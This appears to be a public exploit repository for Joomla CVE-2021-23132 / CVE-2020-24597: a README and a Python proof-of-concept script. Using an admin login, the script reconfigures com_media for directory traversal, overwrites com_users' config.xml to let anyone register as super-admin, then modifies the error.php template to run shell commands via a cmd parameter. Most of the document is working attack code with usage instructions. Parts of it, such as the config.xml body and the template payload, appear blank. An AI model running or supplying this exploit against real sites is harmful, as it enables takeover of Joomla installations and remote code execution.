├── README.md └── cve-2021-23132.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-23132 2 | com_media allowed paths that are not intended for image uploads to RCE. 3 | 4 | # CVE-2020-24597 5 | Directory traversal in com_media to RCE 6 | 7 | Two CVEs are the same. 8 | 9 | PoC (Full) 10 | 11 | Affected version: Joomla core <=3.9.24 12 | 13 | User requirement: Admin account (Not Superadmin) 14 | 15 | Gain access: Create superadmin, then trigger RCE. 16 | 17 | Remote Code Execution (RCE) in Joomla 18 | 19 | Run `cve-2021-23132.py` with your credentials and access link rce: 20 | 21 | `http://target/templates/protostar/error.php?cmd=ls ` 22 | 23 | PoC: 24 | ``` 25 | python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls 26 | ``` 27 | 28 | ![image](https://user-images.githubusercontent.com/24661746/109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png) 29 | 30 | I wrote PoC to be able to use `Directory Traversal` or RCE mode. 31 | 32 | I used `Directory Traversal` to trigger RCE. 33 | 34 | You can use `python3 cve-2021-23132.py -h` to how to use PoC. 35 | 36 | Note: Make sure you used python3 and install `lmxl` by `pip3 install lxml` 37 | 38 | # DISCLAIMER 39 | 40 | *Please use your research and help Joomla more secure.* 41 | 42 | # References 43 | 44 | https://developer.joomla.org/security-centre/846-20210306-core-com-media-allowed-paths-that-are-not-intended-for-image-uploads.html 45 | -------------------------------------------------------------------------------- /cve-2021-23132.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import requests 4 | import re 5 | import argparse 6 | 7 | #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} 8 | proxies={} 9 | try: 10 | import lxml.html 11 | except ImportError: 12 | print("module 'lxml' doesn't exist, type: pip3 install lxml") 13 | exit(0) 14 | 15 | def writeConfigFile(filename): 16 | print("[+] Creating config.xml ") 17 | content=""" 18 | 19 |
22 | 30 | 31 | 32 | 33 | 34 | 42 | 43 | 51 | 52 | 60 | 61 | 62 | 63 | 64 | 71 | 72 | 73 | 74 | 75 | 76 | 84 | 85 | 86 | 87 | 88 | 97 | 98 | 99 | 100 | 108 | 109 | 110 | 111 | 112 | 121 | 122 | 123 | 124 | 125 | 133 | 134 | 135 | 136 | 137 |
138 | 139 |
143 | 144 | 153 |
154 | 155 |
158 | 168 | 169 | 179 | 180 | 190 | 191 | 201 | 202 | 212 | 213 | 223 | 224 | 234 | 235 |
236 | 237 |
240 | 241 | 249 | 250 | 251 | 252 | 253 | 262 | 263 |
264 | 265 |
269 | 270 | 276 | 277 | 285 | 286 |
287 | 288 |
292 | 293 | 301 | 302 | 303 | 304 | 305 | 313 | 314 | 315 | 316 | 317 |
318 | 319 |
323 | 324 | 329 | 330 | 339 | 340 | 341 | 342 | 343 | 348 | 349 | 357 | 358 | 359 | 360 | 361 |
362 | 363 |
368 | 369 | 378 | 379 |
380 |
381 | """ 382 | f = open(filename, "w") 383 | f.write(content) 384 | f.close 385 | 386 | def extract_token(resp): 387 | match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) 388 | if match is None: 389 | print("[-] Cannot find CSRF token!\n") 390 | return None 391 | return match.group(1) 392 | 393 | 394 | def try_admin_login(sess, url, uname, upass): 395 | admin_url = url + '/administrator/index.php' 396 | print('[+] Getting token for Manager login') 397 | resp = sess.get(admin_url, verify=True) 398 | token = extract_token(resp) 399 | if not token: 400 | return False 401 | print('[+] Logging in to Admin') 402 | data = { 403 | 'username': uname, 404 | 'passwd': upass, 405 | 'task': 'login', 406 | token: '1' 407 | } 408 | resp = sess.post(admin_url, data=data, verify=True) 409 | if 'task=profile.edit' not in resp.text: 410 | print('[!] Admin Login Failure!') 411 | return None 412 | print('[+] Admin Login Successfully!') 413 | return True 414 | 415 | 416 | def check_admin(sess, url): 417 | url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' 418 | resp = sess.get(url_check, verify=True) 419 | token = extract_token(resp) 420 | if not token: 421 | print ("[-] You are not admin account!") 422 | sys.exit() 423 | return token 424 | 425 | 426 | def set_media_options(url, sess, dir, token): 427 | print("[+] Setting media options") 428 | newdata = { 429 | 'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 430 | 'jform[upload_maxsize]': 10, 431 | 'jform[file_path]': dir, 432 | 'jform[image_path]': dir, 433 | 'jform[restrict_uploads]': 0, 434 | 'jform[check_mime]': 0, 435 | 'jform[image_extensions]': 'bmp,gif,jpg,png', 436 | 'jform[ignore_extensions]': '', 437 | 'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 438 | 'jform[upload_mime_illegal]': 'text/html', 439 | 'id': 13, 440 | 'component': 'com_media', 441 | 'task': 'config.save.component.apply', 442 | token: 1 443 | } 444 | newdata['task'] = 'config.save.component.apply' 445 | config_url = url + '/administrator/index.php?option=com_config' 446 | resp = sess.post(config_url, data=newdata, verify=True) 447 | if 'jform[upload_extensions]' not in resp.text: 448 | print('[!] Maybe failed to set media options...') 449 | return False 450 | return True 451 | 452 | 453 | def traversal(sess, url): 454 | shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' 455 | resp = sess.get(shell_url, verify=True) 456 | page = resp.text.encode('utf-8') 457 | html = lxml.html.fromstring(page) 458 | files = html.xpath("//input[@name='rm[]']/@value") 459 | for file in files: 460 | print (file) 461 | pass 462 | 463 | 464 | def removeFile(sess, url, filename, token): 465 | remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename 466 | msg = sess.get(remove_path, verify=True,proxies=proxies) 467 | page = msg.text.encode('utf-8') 468 | html = lxml.html.fromstring(page) 469 | file_remove = html.xpath("//div[@class='alert-message']/text()[1]") 470 | print ('\n' + '[Result]: ' + file_remove[-1]) 471 | 472 | 473 | def upload_file(sess, url, file, token): 474 | print("[+] Uploading config.xml") 475 | filename = "config.xml" 476 | url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' 477 | files = { 478 | 'Filedata[]': (filename, file, 'text/xml') 479 | } 480 | data = dict(folder="") 481 | resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) 482 | if filename not in resp.text: 483 | print("[!] Failed to upload file!") 484 | return False 485 | print("[+] Exploit Successfully!") 486 | return True 487 | 488 | 489 | def set_users_option(sess, url, token): 490 | newdata = { 491 | 'jform[allowUserRegistration]': 1, 492 | 'jform[new_usertype]': 8, 493 | 'jform[guest_usergroup]': 8, 494 | 'jform[sendpassword] ': 0, 495 | 'jform[useractivation]': 0, 496 | 'jform[mail_to_admin]': 0, 497 | 'id': 25, 498 | 'component': 'com_users', 499 | 'task': 'config.save.component.apply', 500 | token: 1 501 | } 502 | newdata['task'] = 'config.save.component.apply' 503 | config_url = url + '/administrator/index.php?option=com_config' 504 | resp = sess.post(config_url, data=newdata, verify=True) 505 | if 'Configuration saved.' not in resp.text: 506 | print('[!] Could not save data. Error: Save not permitted.') 507 | return False 508 | return True 509 | 510 | 511 | def create_superuser(sess, url, username, password, email): 512 | resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) 513 | token = extract_token(resp) 514 | data = { 515 | # Form data 516 | 'jform[name]': username, 517 | 'jform[username]': username, 518 | 'jform[password1]': password, 519 | 'jform[password2]': password, 520 | 'jform[email1]': email, 521 | 'jform[email2]': email, 522 | 'jform[option]': 'com_users', 523 | 'jform[task]': 'registration.register', 524 | token: '1', 525 | } 526 | url_post = "/index.php/component/users/?task=registration.register&Itemid=101" 527 | sess.post(url + url_post, data=data, verify=True) 528 | sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) 529 | newsess = requests.Session() 530 | if try_admin_login(newsess, url, username, password): 531 | print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password) 532 | return newsess 533 | else: 534 | print ("[-] Sorry,exploit fail!") 535 | return None 536 | 537 | 538 | def setOption(url, sess, usuper, psuper, esuper, token): 539 | print ("Superadmin Creation:") 540 | # folder contains config.xml 541 | dir = './administrator/components/com_users' 542 | filename = 'config.xml' 543 | set_media_options(url, sess, dir, token) 544 | traversal(sess, url) 545 | removeFile(sess, url, filename, token) 546 | f = open("config.xml", "rb") 547 | upload_file(sess, url, f, token) 548 | set_users_option(sess, url, token) 549 | 550 | def rce(sess, url, cmd, token): 551 | filename = 'error.php' 552 | shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' 553 | shdata_up = { 554 | 'jform[source]': "", 555 | 'task': 'template.apply', 556 | token: '1', 557 | 'jform[extension_id]': '506', 558 | 'jform[filename]': '/' + filename 559 | } 560 | sess.post(shlink, data=shdata_up,proxies=proxies) 561 | path2shell = '/templates/protostar/error.php?cmd=' + cmd 562 | # print '[+] Shell is ready to use: ' + str(path2shell) 563 | print ('[+] Checking:') 564 | shreq = sess.get(url + path2shell,proxies=proxies) 565 | shresp = shreq.text 566 | print (shresp + '[+] Shell link: \n' + (url + path2shell)) 567 | print ('[+] Module finished.') 568 | 569 | 570 | def main(): 571 | # Construct the argument parser 572 | ap = argparse.ArgumentParser() 573 | # Add the arguments to the parser 574 | ap.add_argument("-url", "--url", required=True, 575 | help=" URL for your Joomla target") 576 | ap.add_argument("-u", "--username", required=True, 577 | help="username") 578 | ap.add_argument("-p", "--password", required=True, 579 | help="password") 580 | ap.add_argument("-dir", "--directory", required=False, default='./', 581 | help="directory") 582 | ap.add_argument("-rm", "--remove", required=False, 583 | help="filename") 584 | ap.add_argument("-rce", "--rce", required=False, default="0", 585 | help="RCE's mode is 1 to turn on") 586 | ap.add_argument("-cmd", "--command", default="whoami", 587 | help="command") 588 | ap.add_argument("-usuper", "--usernamesuper", default="hk", 589 | help="Super's username") 590 | ap.add_argument("-psuper", "--passwordsuper", default="12345678", 591 | help="Super's password") 592 | ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", 593 | help="Super's Email") 594 | args = vars(ap.parse_args()) 595 | # target 596 | url = format(str(args['url'])) 597 | print ('[+] Your target: ' + url) 598 | # username 599 | uname = format(str(args['username'])) 600 | # password 601 | upass = format(str(args['password'])) 602 | # directory 603 | dir = format(str(args['directory'])) 604 | # init 605 | sess = requests.Session() 606 | # admin login 607 | if (try_admin_login(sess, url, uname, upass) == None): sys.exit() 608 | # get token 609 | token = check_admin(sess, url) 610 | # set options 611 | set_media_options(url, sess, dir, token) 612 | print ("Directory mode:") 613 | traversal(sess, url) 614 | if ap.parse_args().remove: 615 | print ("\nRemove file mode: ") 616 | filename = format(str(args['remove'])) 617 | removeFile(sess, url, filename, token) 618 | # check option superadmin creation 619 | # username of superadmin 620 | usuper = format(str(args['usernamesuper'])) 621 | # password of superadmin 622 | psuper = format(str(args['passwordsuper'])) 623 | # email of superadmin 624 | esuper = format(str(args['emailsuper'])) 625 | # RCE mode 626 | if (format(str(args['rce'])) == "1"): 627 | print ("\nRCE mode:\n") 628 | # command 629 | filename="config.xml" 630 | writeConfigFile(filename) 631 | command = format(str(args['command'])) 632 | setOption(url, sess, usuper, psuper, esuper, token) 633 | # superadmin creation 634 | newsess = create_superuser(sess, url, usuper, psuper, esuper) 635 | if newsess != None : 636 | # get token 637 | newtoken = check_admin(newsess, url) 638 | rce(newsess, url, command, newtoken) 639 | 640 | if __name__ == "__main__": 641 | sys.exit(main()) 642 | --------------------------------------------------------------------------------